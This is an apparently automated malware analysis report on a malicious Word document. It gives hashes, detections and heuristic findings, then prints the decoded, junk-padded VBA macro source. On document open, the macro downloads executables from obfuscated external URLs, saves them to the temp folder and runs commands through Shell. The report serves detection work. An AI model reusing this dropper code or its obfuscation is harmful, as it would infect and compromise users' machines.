Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 176b83d29683e7fa…

MALICIOUS

Office (OLE)

166.5 KB Created: 2018-05-03 20:24:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: a167c4ade59e7a9963ecfa6f947b8826 SHA-1: 09b781ae23f732b73cd1ead5f678eb20ee3a1925 SHA-256: 176b83d29683e7fa4a0506dbda3c35848c2de8650e94137c757204bc482fbd03
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Heuristics indicate the macros are designed to download and execute a file from a URL, a common dropper behavior. The presence of 'auto-exec' and 'CreateObject/Shell/exec' sink firings further supports this, suggesting the script attempts to run a downloaded payload. The ClamAV detection 'Doc.Dropper.Emodldr-6755244-0' also points to a dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (TurKo), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            nbjWQ = xWdaSpH.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set xWdaSpH = CreateObject(jfubjQ("MuiVcqrnohs^oyf?tl.?XJM%LwHWTkT(Pp"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xWdaSpH = CreateObject(jfubjQ("MuiVcqrnohs^oyf?tl.?XJM%LwHWTkT(Pp"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40963 bytes
SHA-256: 94b6b68b3c830936ce44f40f578417d7e6fd44ddfa8f9924eb9d522039ab5b4e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
419 of 654 identifiers look randomly generated (e.g. 'zClIXVqbDqxCjlMupgBrbyHCgrRgxphSUJmhKrF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim IkFrXLrk As String
    lXzVD = Left("Rr[YtX_SAvi@(N dK", 3)
    GQjZiavq = RTrim("Y-x%@VdvfN z[Q")
    While EQIWWH < 89
        UoGgG = "!JJHIyi]VgVwUcEf#" + "sl)YDdXUWEGjuFkCkx" + "^eyANB$sLt&L"
        qIChz = 142 - 848 - 432
        WmsxFSvy = RTrim("#rUigTZ!ZEtUyNcMyq")
        EQIWWH = EQIWWH + 1
    Wend

    GQjZiavq = StrReverse("CdNTDgeWbXn$ .dn")
    jQrUE = Space(12)
    For UQCDZV = 0 To 262
        GQjZiavq = UCase("bKJqLSWtZi%k!WmoS")
        fgXfbI = 332 - 267 - 386
        WmsxFSvy = Right("StnPOEzlg-uoOyXCGms", 4)
        UoGgG = Left("ZTTZl[CV@qU_axk[RZMT", 5)
        UoGgG = 1595 + 124 + 683
        lXzVD = RTrim("]oBIcB?VuKjSgvxid")
        jQrUE = 595 + 1683 + 110
    Next UQCDZV

    jQrUE = 409 - 434 - 1851
    IutgX = 1743 + 490 + 601
    XZAGx = Left("@DQb]Gi.^M", 3)
    lXzVD = "$QP$PJQHAMfFrxyk" + "ghwUlgrme(dA" + "AU*T]kbngvG?"
    XZAGx = UCase("i(hThF&ljI^]OUght*w")
    Dim FnaVqfv As String
    WmsxFSvy = "Nej_@@*P?ZJ^y_g" + "z.WU?[SlF(N" + "IsGCgTu.%X^a"
    While LOPfaK < 238
        JnMEl = RTrim("QZZw_lpYdmX$k")
        jQrUE = StrReverse("w#)TgaPzuaJJDgTp?")
        WmsxFSvy = RTrim("zjjvTcYqXoH")
        jQrUE = StrReverse(".fsoCiXRB]a.s sA")
        UoGgG = RTrim("s_qsy]l#OUa#p&F^ObQd")
        XZAGx = Left("jPD-#FO%VUOI!cSQ^", 3)
        LOPfaK = LOPfaK + 1
    Wend

    IutgX = StrReverse("c kn_bMu.VWhmM&c")
    GQjZiavq = Space(6)
    jQrUE = "TZr#hxkh)vgH[HkxK*n" + "NmaEaNRq@Bj_#PYXYj_I" + "(qnHX!yGFtsqFX"
    lXzVD = RTrim("!I^mPaUdxXctyJO")
    YRiQzWp = UCase("DL]MstxOi_NW*$kg^i")
    GQjZiavq = Right("HC&f-EJeFv!t", 5)
    lXzVD = UCase("e%V.E opF-XhN^sKCa")
    qIChz = 679 + 1913 + 390
    JnMEl = Left("KVg-Gd!Ri!U&Y", 2)
    IkFrXLrk = StrReverse("pekx!ej.!ofuhDnf@xKaOM#\?\A%Ap#mLeJtn%U (LILgDunFu(Rt_gcge[xpECl%lweUh?SO,elylldN.L2]3DlylIeihNsL BeTxmeh._2b3Sl-lwdfnvuXre ncY/  nebxMe_.mdlmWc")
    UoGgG = RTrim("o^lVN-d$V.C")
    WmsxFSvy = UCase(".ttTAgOGX)P*")
    XZAGx = 1579 - 656 - 939
    WmsxFSvy = "-s#CPigd?E]FMQJw#" + "LD]d.W$tO$q" + "?.nF)d^-ZyL&ch$Ul"
    qIChz = ")DcHDTJXlNXJ@lW" + "RQ$T-L^viP?SEFd$weMK" + "SekfuXdjWV&)K$gIkFV"
    While zFJEJb < 387
        jQrUE = 1759 + 1166 + 1734
        WmsxFSvy = LTrim("WiX&bBuzQ ")
        fgXfbI = Right("ZJMO* cI@M!fxLZFDV", 2)
        XZAGx = Space(15)
        zFJEJb = zFJEJb + 2
    Wend

    While FSuErO < 289
        WmsxFSvy = 265 - 737 - 676
        IutgX = RTrim("FScNOkZA]k")
        lXzVD = RTrim("f*FWwocMHqKW]tv")
        fgXfbI = Space(11)
        FSuErO = FSuErO + 3
    Wend

    GQjZiavq = Space(10)
    IutgX = Right("KVfus%.fz-Vi*V p", 3)
    For rhTVGs = 0 To 290
        jQrUE = 1010 + 1301 + 527
        qIChz = 1559 + 1295 + 1298
        GQjZiavq = 994 + 1476 + 1168
    Next rhTVGs

    lXzVD = Left("yEwEDUMsyqymun M", 3)
    FnaVqfv = StrReverse("xeXx(ew.erCeipxlneUhY\&\E%Bp*m@eItj%H ILFLVDHnFu]RA_?c!elxYEelGlweYhJS%,RlXltd).!2)3.lNlaeYh@sW weXx(eM.b2J3%lrlZdfn?uKr[ [cq/B Te?x*eC.odMmgc")
    jQrUE = Space(12)
    lXzVD = 1834 + 221 + 1278
    GQjZiavq = Left("R&Qr[bOZ]u?q)", 4)
    XZAGx = Left("npOJgEw*LXM*BG#ppo!!", 2)
    fgXfbI = 1018 - 1797 - 1222
    GQjZiavq = Left("e[jm_c&FilcqlOYaWA?X", 5)
    jQrUE = UCase("(RkL^ih--E^$")
    fgXfbI = Right("#-]!aOgd.ClfI@", 3)
    lXzVD = StrReverse("iyTJaSF%iMr#i")
    qIChz = 648 + 719 + 140
    IutgX = "vPEmKQCgydsq" + "pmOxRzqd&g&Edmd" + "INoXzGNf#TZ-(xUpWd"
    While tSXvrF < 284
        UoGgG = 1063 + 206 + 1272
        YRiQzWp = 920 - 1484 - 325
        JnMEl = StrReverse("Gb_epJSW^]Lxt")
        UoGgG = RTrim("lExg*dQReB!Y^.fY%N")
        IutgX = RTrim("NoDlwh]cv.")
        tSXvrF = tSXvrF + 1
    Wend

    JnMEl = 1886 - 496 - 186
    YRiQzWp = RTrim("mFaCeih!)$OWfxa")
    UoGgG = 830 + 540 + 1667
    Dim xWdaSpH, sxLloudb As Object
    UoGgG = 1138 - 471 - 1813
    For fuBcpG = 0 To 358
        GQjZiavq = Space(2)
        jQrUE = RTrim("]gz[]GiGE)wQE$EVg*Ra")
        UoGgG = RTrim("QwEDCsdJ&h?ORK(a")
        JnMEl = RTrim("HMgBa?adXJ?[^NVDAkna")
        WmsxFSvy = RTrim("? YZmP_$Q$$")
        GQjZiavq = Left("CB)]NcQHtjH", 4)
    Next fuBcpG

    JnMEl = Right("qBhRf^ ^@$YcLCfw#", 4)
    qIChz = Space(20)
    Set xWdaSpH = CreateObject(jfubjQ("MuiVcqrnohs^oyf?tl.?XJM%LwHWTkT(Pp"))
    lXzVD = Right("nQX-[lUe@EAR ^NjZn&", 3)
    GQjZiavq = "Ox*Okg%$LykmNyO@!&" + "w_PZ^QV@OuxmC" + "XIA.uz&dllin&"
    While YpcoOK < 379
        jQrUE = UCase("!HMSeY]^C?")
        jQrUE = Space(14)
        WmsxFSvy = UCase("FESZOxhX?OlNZ(K")
        WmsxFSvy = RTrim("Pj@lD@XO[$e")
        qIChz = LTrim("wy%e)-jCPXvWeeP%(sXL")
        jQrUE = "-z-yYKym)s)Ou-tbG" + "%jI GeCbOK-!UIe" + "DB_?CU)bb[E^pne"
        JnMEl = Right("h&pGpcKo]*MWqR^wEA]q", 5)
        fgXfbI = StrReverse("$z*kMv(XAs&?[t")
        jQrUE = 1490 - 377 - 578
        YpcoOK = YpcoOK + 1
    Wend

    QRzjFLv = jfubjQ("hdt]tNpJsb:r/E/twge&a!ryexn oPwVf@u)nblTixvZerg!aHm(easd.tcCofmr/vnXhcjfks/zreu!nCivndgBswpVeqebd&.xe xDeJ")
    JnMEl = 1275 + 281 + 1174
    While dWQAoI < 70
        lXzVD = Left("kJ%NA)qhjiKK)zvfEE[z", 5)
        jQrUE = LTrim("k?[IzoGB&p")
        dWQAoI = dWQAoI + 3
    Wend

    For aaRGvp = 0 To 158
        lXzVD = LTrim("XTV_MAjMamN%wpZtb")
        WmsxFSvy = Right("Pw(rkEhhTJ%l^M)LL", 3)
        GQjZiavq = LTrim("!tHe-TFF RqmfexJSBPv")
    Next aaRGvp

    xWdaSpH.Open "G" & "ET", QRzjFLv, False
    For vitTaI = 0 To 213
        XZAGx = "FkutmQWdNBA$x( N&wY" + "AV(!!OMsX(jOFtF@F[f[" + "%GY#QIYvLJacmtAOl"
        lXzVD = RTrim("M?H^GZ?EU[XvdEqR")
        qIChz = RTrim("Ue]_ajf)_RpZalCwaVn")
    Next vitTaI

    lXzVD = Right("_HtWQhLvyUGP", 5)
    IutgX = StrReverse("lh$fL-$zkACo]aLa")
    xWdaSpH.send
    JnMEl = 995 - 122 - 354
    For ObNuSP = 0 To 329
        fgXfbI = 1244 - 1167 - 1267
        WmsxFSvy = "yEmKPBAlMheTrr" + "cQl$ZUVaZeXnR" + "Ips#Z*RWPCpJut_Obhb"
        jQrUE = Right("vn-lStsJZhL W)zY", 5)
        WmsxFSvy = Space(13)
        WmsxFSvy = "Af _ovD _Rbk" + "El Y^JGkzlczV%bPCFr!" + "B[Dr^JBTYzUNe#mqE"
    Next ObNuSP

    jQrUE = 141 + 1193 + 1468
    If xWdaSpH.Status = 200 Then
    qIChz = RTrim("CumH)MZvnyGf*")
    JnMEl = Space(15)
    For JaKDHt = 0 To 268
        fgXfbI = UCase("! Lr$!PnRq")
        UoGgG = RTrim("t&q*nJa?Am?")
        qIChz = 204 - 1739 - 1096
        IutgX = LTrim("@.p?TdAJl&?wK@[xK")
        WmsxFSvy = 691 + 742 + 1295
        qIChz = RTrim("EwjaP-qHKi(ebb@v")
        qIChz = UCase("NSXFczoC?ojq[A_lXt")
        lXzVD = UCase("RXBZ CC?DgDo")
    Next JaKDHt

    While KbxEDW < 337
        GQjZiavq = UCase("nV%Fip]m%f*v")
        fgXfbI = Right("%vxfqNtaiis d#Icx", 2)
        GQjZiavq = Left("M#!ite#%GJrbmX", 2)
        GQjZiavq = StrReverse("wHskX[d*nv")
        qIChz = RTrim("&hfvD@vHKrQOda")
        lXzVD = UCase("!nZFZx cLk#MSYp")
        IutgX = Right("LPtWhUkLaXT[CT", 3)
        KbxEDW = KbxEDW + 2
    Wend

        Set sxLloudb = CreateObject(jfubjQ("AzDCO]DqB-.HS%tfrZe*a*mo"))
    For npirNd = 0 To 235
        UoGgG = RTrim("eB!JCjWqL(fduNi!]I")
        UoGgG = StrReverse("k%RQ)-n$J$z)&)q")
        XZAGx = 439 + 1606 + 1809
        XZAGx = UCase(".IAZv-tTkM.$")
    Next npirNd

    While AYgxLX < 220
        jQrUE = Right("A(Sq_#.TBtQ?y", 3)
        lXzVD = RTrim("wL]Gq!Gss ")
        GQjZiavq = Left("*.rQ TCWhuXkkUm", 4)
        UoGgG = Right("vOEtd$.ED.RD?m", 3)
        XZAGx = StrReverse("sjlgPX!kqef)rhN")
        lXzVD = 768 + 158 + 204
        UoGgG = LTrim("GvKH_-grFA")
        GQjZiavq = LTrim("_.Hia-OnTmEgMAWi")
        YRiQzWp = UCase("-HP)@HI_D%")
        AYgxLX = AYgxLX + 3
    Wend

    JnMEl = LTrim("$QJETGkx*sx")
    While NvLuoi < 102
        qIChz = Space(7)
        WmsxFSvy = UCase("YIF)DbRCVJ")
        lXzVD = 217 + 1046 + 1749
        JnMEl = 108 + 875 + 1817
        NvLuoi = NvLuoi + 2
    Wend

        sxLloudb.Open
    UoGgG = "A KriUvna#j!tICgO" + "bp$uxNgMmIoqeR(" + "rkxuWXpC-YBko"
    fgXfbI = UCase("Dp dqqBEtYr#jOl")
    GQjZiavq = StrReverse("^En)@LQGlWgKM")
        sxLloudb.Type = 1
    qIChz = Space(9)
    For RdZXfl = 0 To 400
        jQrUE = 1659 + 639 + 136
        YRiQzWp = LTrim("BvY&fB[QPXFrsiBaJ")
        YRiQzWp = 122 + 1281 + 802
        fgXfbI = LTrim("fysbnu(?Qc )RD(Nf")
        GQjZiavq = UCase("CxiR $S$-?)LdyosV")
        WmsxFSvy = "_w?xidov&jp" + "gNCU@ks.$TYPiy" + "ri.Jkjk(pO(au "
        qIChz = RTrim("Fo-ycm[GOGKKqZI")
        qIChz = LTrim("WDPG!?oUslqZ?")
        lXzVD = 1799 + 1421 + 727
    Next RdZXfl

    qIChz = UCase("OAE!&_.]xU]rygT%d")
    jQrUE = StrReverse("A[p.ijRyRGt_D?owe")
        nbjWQ = xWdaSpH.responseBody
    UoGgG = Right("f)pqTnPX!Ts]?Se t*", 3)
    For zGalxi = 0 To 10
        fgXfbI = 1419 - 1618 - 405
        YRiQzWp = StrReverse("hlyhb%GplbwWi")
        fgXfbI = 686 + 103 + 326
        WmsxFSvy = Left("qwS?OI?XJ!i", 5)
        YRiQzWp = UCase("Psy&-)HthWdehTx-")
        jQrUE = StrReverse(".d#@nz*zaIPNa%ftw!")
    Next zGalxi

    qIChz = Left("rk_[BevRR*SW$oXf", 3)
    YRiQzWp = "-aElPSjysN@sdc" + "phgc(%xd!lzz(?]Wmed" + "%mIOjSQ#TEH"
        sxLloudb.Write nbjWQ
    JnMEl = 1154 - 1771 - 217
    YRiQzWp = StrReverse("!)L?# sG$M wJTC")
    jQrUE = RTrim("%Mb_WVH(@n[mZA_nKU")
        Dim FIqsoAb As Object
    JnMEl = Right("q!?FeilsPsnvkRV&", 3)
    While yHVbhu < 176
        lXzVD = UCase("OTMODb[fNc.?TXOw")
        lXzVD = RTrim("_!uPBwj%SsKkqH*uKf")
        XZAGx = "vYHh^y.TVF(XW" + "(MT[*L_&cp-))lVN" + ".q$cxPC#qwQyeU"
        jQrUE = LTrim("m*z!xYNor naRLc")
        lXzVD = Left("BZN)Jq(Ug(pTRqFD?.", 4)
        WmsxFSvy = 107 - 126 - 858
        IutgX = Left("DXqe%DBvLfQwLeLlp]vt", 5)
        GQjZiavq = Left("PW^^*Jo)n^V)r(HZW", 2)
        yHVbhu = yHVbhu + 1
    Wend

    GQjZiavq = StrReverse("i_lf$%(gjJ")
        Set FIqsoAb = CreateObject(jfubjQ("sHcjrhi(pSteiBnCgU.cfPi%lNeHsGysswtOebmJoPbUjFeqc*tZ"))
    While BGVxkm < 213
        JnMEl = Left("mdhPV-Aic%", 5)
        jQrUE = 773 - 1183 - 1580
        fgXfbI = UCase("klP[?Naxs$.!]AIuI")
        fgXfbI = UCase("a_qi!F-OHfC")
        BGVxkm = BGVxkm + 3
    Wend

    GQjZiavq = RTrim("UbY)szf$MdkzG")
    GQjZiavq = Space(2)
    IutgX = Space(8)
        UHwEjT = FIqsoAb.GetSpecialFolder(5 - 3)
    qIChz = "rgErHRqOQY?oHB$#" + "bQhXQr xQ).f(wpFQ" + "L!&A)VReBPuU-["
    For uHLyXy = 0 To 176
        WmsxFSvy = UCase("fu*tFu*hG%gqz&LZPW]")
        qIChz = 935 + 338 + 716
        lXzVD = StrReverse("gpCe&@s&K ntH[G@E")
        jQrUE = StrReverse("BEJOhyjgByb%Go^J$x#")
        WmsxFSvy = LTrim("PN)MQjYc@$t[")
    Next uHLyXy

    lXzVD = RTrim("mSamYo(Zd^E?aYrQ")
    YRiQzWp = 141 + 1981 + 893
        Call sxLloudb.SaveToFile(UHwEjT & "\\" & "MaxfDuo.exe", 2)
    JnMEl = Left("$]IHIJLNA?Pe", 5)
    YRiQzWp = 1636 + 317 + 1974
    lXzVD = UCase("YW*CD)RgUskmH*Yvxm")
    JnMEl = 1927 - 642 - 1545
        xWdaSpH.Open "GE" & "T", jfubjQ("hhtntbpK:O/R/^1F0G7Z..1I7R5j.G6v2F.v1B0$4K/gtJeYsxtw.NbSilnK"), False
    UoGgG = Space(1)
    GQjZiavq = "ffiG!WpwbgzPMKn" + "jioJ&$tUqToGajS)Do" + "DsGC_J$rLg[UCsWU?tt"
    For JfRUPZ = 0 To 337
        WmsxFSvy = Space(10)
        qIChz = 354 - 273 - 1730
        jQrUE = 921 - 298 - 721
    Next JfRUPZ

        xWdaSpH.send
    WmsxFSvy = Space(18)
    IutgX = 1404 - 1758 - 1629
    fgXfbI = UCase("IQe-u bAjmU _x#-Z")
        nbjWQ = xWdaSpH.responseBody
    fgXfbI = Space(15)
    jQrUE = 253 + 455 + 1025
    YRiQzWp = StrReverse("y%%HZW]G^.!M")
        sxLloudb.Write nbjWQ
    UoGgG = StrReverse("&cTmW?MzLjzVsp^VutQy")
    lXzVD = 1294 - 620 - 475
    IutgX = StrReverse("!Z&wUdCL%f&")
    IutgX = Space(10)
        Call sxLloudb.SaveToFile(UHwEjT & "\\helper.exe", 2)
    UoGgG = Left("[!]Nm?nIk%w-BpT.c[C*", 5)
    JnMEl = "srEXd_qMNrX.@K#]" + "W)Cl[gBHNwhS" + "BXqhzpj-.cFr^RBCOE"
    qIChz = Right("ZMxCB cYAR(@fw*RRj", 2)
        sxLloudb.Close
    WmsxFSvy = 192 + 604 + 1876
    UoGgG = StrReverse("UH[H*qw(yf_u&T@)[SRd")
    For rUqJyl = 0 To 340
        JnMEl = 115 - 476 - 1334
        GQjZiavq = Right("g[fBtLyykHib", 2)
        jQrUE = Left("jDoSIqF?dKUk^]awHy U", 3)
        jQrUE = Space(19)
        JnMEl = 1306 - 412 - 846
        YRiQzWp = 824 - 283 - 1566
    Next rUqJyl

    End If
    fgXfbI = 585 + 118 + 652
    IutgX = 1490 - 1404 - 1232
    IutgX = RTrim("!&pdzICjzi CmE")

    XZAGx = 310 + 148 + 1460
    XZAGx = RTrim("!GtflWhOlRytld")
    YRiQzWp = RTrim("cjq[(sHUEukHhsN")

    While StnLu < 611
        XZAGx = "Tzq J]#%ONxeo*bUbW" + "lANtIRxZWs!a?eeA*" + "[As_At&]B#"
        fgXfbI = Left("wCO$%J)siB%uU^JOj_E)", 4)
        JnMEl = 1605 - 1956 - 945
        qIChz = 850 - 824 - 785
        XZAGx = 756 - 828 - 1449
        WmsxFSvy = 1072 + 1752 + 549
        fgXfbI = UCase("PIE(Oa(uJZ_hl")
        lXzVD = UCase("jhe.PTB%]ZK_qUnr(gK")
        While pKKlSx < 65
            qIChz = Space(8)
            fgXfbI = 1790 + 1232 + 1938
            qIChz = Space(13)
            jQrUE = Left("l]NYCXoSyUAPt@^Yh", 2)
            pKKlSx = pKKlSx + 1
        Wend

        fgXfbI = 353 - 511 - 1176
        IutgX = Space(11)
        If StnLu = 499 Then
            qIChz = Space(20)
            qIChz = UCase("&!g*[GHr-L%cpHj%dWO")
            WmsxFSvy = StrReverse("F!pjrbL!ENlCq")
            WmsxFSvy = LTrim("P!c.)nZA#WjY^Q")
            Call vJcnHgr(jfubjQ(IkFrXLrk), "eDuGDNUZEu", "jgxpD", "Xcr", "DmYdc")
            YRiQzWp = 837 - 786 - 985
            JnMEl = 879 + 846 + 399
            Call vJcnHgr(jfubjQ(FnaVqfv), "UlFKfOIOt", "wfLBiI", "BJrBJ", "BtKG")
            fgXfbI = Left("GXTqH xE[ ", 3)
            GQjZiavq = "PY?Siq(?GpIKQ^NjWq" + "#MPAyzkQv?IhLL!GCNy" + "K[.j]R!AIV$Bs"
            UoGgG = Right("vgFLnLJB^P", 2)
        End If
    StnLu = StnLu + 1
    Wend
End Sub

Private Function GqLtmY(bmFrWm As Double) As String
    UoGgG = Right("Q(e_RC$vdmB", 2)
    qIChz = Left("nCAEVPzsTGa", 4)
    XZAGx = Right("p_lINp^jJdl&SfuBqYS", 5)
    fgXfbI = StrReverse("FJZqPOIib]K")
    JnMEl = 1954 + 1926 + 1471
    lXzVD = Left("A*uXqLAi.TCSi", 4)
    JnMEl = UCase("S(Of)!BV?BGOB")
    jQrUE = 1205 - 1148 - 380
    JnMEl = "cX(LAC&mOR^ (KnC t!" + "F PkrCDWOKoAxhr" + "t PdBp UUXEz$WrGoBbi"
    JnMEl = 1186 - 1242 - 1494
    qIChz = Space(9)
    fgXfbI = LTrim("]Dh.&McuKaaZDmBq")
    JnMEl = RTrim(".KoAHj)@kifczu")
    qIChz = "_^JfjZjzlO" + "kujuZYCFmF-b" + "Ld#?^iRILHgBK_ZdUcqI"
    WmsxFSvy = UCase("E@xjEuzlNYc#-")
    JnMEl = Space(7)
    For niYsOH = 0 To 256
        qIChz = Space(2)
        XZAGx = 1803 - 756 - 1633
        fgXfbI = StrReverse("ziJxgCbJwq&BsAUPp")
    Next niYsOH

    IutgX = LTrim("!nkb?$ B-BiKI#*")
    XZAGx = StrReverse("gvhf][WpWR")
    JnMEl = RTrim("^V u^Duy%m ")
    YRiQzWp = 199 + 1172 + 346
    lXzVD = LTrim("PGQ.(tt(hE^ybPg*Z")
    JnMEl = Right("AZU$HczBzYm x!ln%GV", 2)
    GQjZiavq = 1300 + 1141 + 1942
    jQrUE = 1180 + 1630 + 990
    WmsxFSvy = 1304 + 1057 + 1282
    For WBDRsE = 0 To 118
        jQrUE = UCase("MMGK&#[yyJ")
        XZAGx = Right("sv*IQS@@Ly^Aww", 5)
        qIChz = 298 + 1568 + 1246
        fgXfbI = 683 + 510 + 1806
        YRiQzWp = Right("od [ac%GCb]", 5)
    Next WBDRsE

    YRiQzWp = LTrim("lPX^IM^jA&Z)BSrXI% f")
    GQjZiavq = "kJ a)J*?tDm" + "C*?quC.zlkogMKuFbl!" + "[gAfl-rtoTrMLm@S"
    YRiQzWp = "qY!rZ[)XpD?Sb" + "BqzM_i)[%&V%" + "FxeZZzV@u@c"
    GqLtmY = "qSXlulJgeVRxwuAiUCPcDTalLbjBwN"
End Function

Private Sub jPKgRH(JQluvsZ As Double)
    XZAGx = RTrim("I? vJ!-bIpyRp(epPu")
    fgXfbI = StrReverse("%aYGa*RRcxR")
    XZAGx = LTrim("$*-&(Q*YCr!A")
    IutgX = 1250 - 328 - 1832
    IutgX = Space(13)
    lXzVD = UCase("yYlO(SLxAISpwmi")
    IutgX = StrReverse("P[WlsZ&WFZsUf-FP")
    fgXfbI = Left("?&dJwha&!]&dNKt", 4)
    YRiQzWp = "[DgcnNbIi^ " + "q[PrrS^@SMy#kMKQLsw" + "wYoB(#QQd[kc^zf"
    For jdCvtT = 0 To 42
        JnMEl = Left("CA% ha%PDpU[u", 4)
        JnMEl = "ZKXFyJ!Z^?z@oKMoR]Nr" + "N_Gv&- $J&nMA*GA$m" + "UrzW[el^jm)Bmtq "
        WmsxFSvy = 1568 + 775 + 1137
        YRiQzWp = "$$L#pjDsK&mubY" + "H.%VY.%e!ASWz*ipy" + "qR)kbntpD*il!wm"
        UoGgG = StrReverse("kF&FOPex%A%U[y!#gp.?")
        JnMEl = RTrim("S-tet@BLHT#*Su")
        JnMEl = Space(8)
        GQjZiavq = Space(8)
        WmsxFSvy = "(UCIY?PY.Z" + "KzMwTYRKTRKT fvVJ" + "TGGw^]DIFuJ"
        GQjZiavq = Right("Zj$JNjnYDu@ES", 2)
    Next jdCvtT

    fgXfbI = Right("RBqnzuEn[R&P", 5)
    fgXfbI = LTrim("MiE()**$BX%")
    WmsxFSvy = UCase("I#csupQXWyc")
    GQjZiavq = 715 - 301 - 1423
    YRiQzWp = Space(3)
    IutgX = "GK-NBWr$?@X" + "ZIbTspGP^)ce" + "SvI%SXxXOZU"
    qIChz = RTrim("&ahRMJsl_gHZ!Pb")
    IutgX = Right("cDokylx(g ", 2)
    YRiQzWp = StrReverse("A&UwIVHTmV ")
    GQjZiavq = RTrim("_&-CxCBWZCOZjnh#Ib")
End Sub

Private Sub nGfYsT(seofAax As String, IDrIJL As Boolean, vPNAYd As Double, CTEsnI As String, cAaxXh As String)
    WmsxFSvy = StrReverse("]UMHOMZtpbX(")
    For XgpzBZ = 0 To 180
        WmsxFSvy = UCase("[CclnKKVWR")
        JnMEl = 1870 + 1096 + 1416
        GQjZiavq = Left("H^^jIINmkq", 2)
        UoGgG = Space(18)
        qIChz = Space(13)
        XZAGx = 1354 - 1299 - 1201
        qIChz = Right("a$EjbYUryc[w", 4)
        jQrUE = Space(3)
    Next XgpzBZ

    XZAGx = StrReverse("t[lLvCy?AJbPZQA")
    GQjZiavq = RTrim("!_tvK.bMQVWc")
    WmsxFSvy = Space(15)
    JnMEl = UCase("LaRz@P*EsBOI")
    lXzVD = StrReverse("FfjXI@B_(T.JM%")
    JnMEl = Space(14)
    WmsxFSvy = 1778 + 298 + 1016
    GQjZiavq = Space(10)
    lXzVD = Left("?DXvF%dRADPd@Jd", 2)
    GQjZiavq = StrReverse("tw^GUL?LBqa_sX(")
    For kipTSV = 0 To 193
        jQrUE = 1060 - 1777 - 1703
        IutgX = 882 + 737 + 129
        JnMEl = 582 - 1010 - 711
        XZAGx = UCase("iN&^pXRWvIShd]ni")
    Next kipTSV

    For aQnyqI = 0 To 253
        XZAGx = LTrim("G!&yfi%dMCOlf%wo^_#")
        qIChz = Right("cNuYA S?XbtxYMR", 2)
        qIChz = Space(2)
        YRiQzWp = "VDqKN?F?$n" + "KCA(!Db_Qs?(q]D" + "*Q!kSUIO#sbhEqX  Y"
        fgXfbI = 1222 + 999 + 377
        fgXfbI = Left("aEX@&VF& zWi", 5)
        YRiQzWp = RTrim("_nbww-MIaUQKnM")
        lXzVD = 826 - 1613 - 1316
    Next aQnyqI

    JnMEl = UCase("fpUW!HPYjRP#)-ys-rZ$")
    GQjZiavq = 920 - 1608 - 311
    lXzVD = Space(1)
    UoGgG = StrReverse("cnm_!jWt%UQdjkxaZ")
    XZAGx = Left("cWGu-BL#z.HWxu-J NZ$", 2)
    JnMEl = StrReverse("cIq-Y]pmBS")
End Sub

Private Sub vJcnHgr(TurKo As String, wADAsek As String, zezlCb As String, XUrbxFh As String, VFpdrl As String)
    IutgX = StrReverse("QTN]AmNTYmkJJ^")
    For pssJqR = 0 To 271
        WmsxFSvy = 1829 - 459 - 1535
        UoGgG = 982 + 1215 + 1027
        JnMEl = UCase("n!znz??zLds")
        jQrUE = UCase("&XH@T* ecf")
        JnMEl = Space(6)
        IutgX = Space(20)
        YRiQzWp = Left("SlJtTfy.GKinDo", 5)
    Next pssJqR
    IutgX = LTrim("#q_zEUO@O&b_ i")
    lXzVD = StrReverse("e(uBHiuxEn$M")
    UoGgG = Left(".Z^ymtkdlndBe#AEPTr?", 4)
    qIChz = Left("zRQtZ]!_TOTKl&ZT", 5)
    fgXfbI = RTrim("cf.b?lh)$*^@jd")
    WmsxFSvy = StrReverse("udVTYQMbj!eY.s")
    jQrUE = 1834 - 1535 - 377
    jQrUE = UCase("Iw?lQOR*a@f[")
    lXzVD = 1722 + 737 + 1409
    JnMEl = LTrim("BVMo$GDe&!_b")
    Shell (TurKo), 0
    While esNKiZ < 274
        lXzVD = RTrim("ew#Bf)vZeSI")
        YRiQzWp = Space(18)
        IutgX = LTrim("H^pC&DUoVttz")
        lXzVD = 421 + 315 + 1338
